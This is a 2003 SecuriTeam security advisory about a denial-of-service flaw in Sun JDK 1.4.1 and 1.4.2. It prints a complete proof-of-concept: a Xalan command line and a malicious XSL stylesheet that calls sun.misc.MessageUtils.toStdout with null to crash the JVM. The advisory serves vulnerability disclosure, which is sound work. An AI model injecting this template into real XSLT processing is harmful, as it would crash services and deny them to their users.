[NEWS] Denial of Service and JVM Crash via User Injectable XSL Template (toStdout)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/21/03

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Date: 21 Sep 2003 13:46:50 +0200

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      Denial of Service and JVM Crash via User Injectable XSL Template
    (toStdout)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability in Sun's JVM allows local attackers to crash the Apache
    XALAN by causing it to parse malformed XML/XSLT data.

    DETAILS

    Vulnerable systems:
     * JDK version 1.4.1
     * JDK version 1.4.2

    Exploit:
    Command:
    c:\java\1.4.2\00\jre\bin\java org.apache.xalan.xslt.Process -IN a.xml -xsl
    sunexploit.xsl

     ===================a.xml===========================
    (a/)
     ===================a.xml===========================

     ===========sunexploit.xsl=============================
    (!-- XSLT JDK-Exploit by Marc Schoenefeld , marc@at@illegalaccess.org --)
    (xsl:stylesheet version="1.0"
       xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                   xmlns:sun="sun")
                   (xsl:template match="/")
                   (xsl:variable name="tmp"
    select="sun:misc.MessageUtils.toStdout(null)"/)
                   (xsl:variable name="tmp2"
    select="sun:misc.MessageUtils.toStdout($tmp)"/)
                   (xsl:value-of select="$tmp2" /)
                   (/xsl:template)
    (/xsl:stylesheet)
     ===========sunexploit.xsl=============================

    ADDITIONAL INFORMATION

    The original advisory can be found at: <http://www.illegalaccess.org/>
    http://www.illegalaccess.org/.

    The information has been provided by <mailto:marc@beauchamp.de> Marc
    Schoenefeld.

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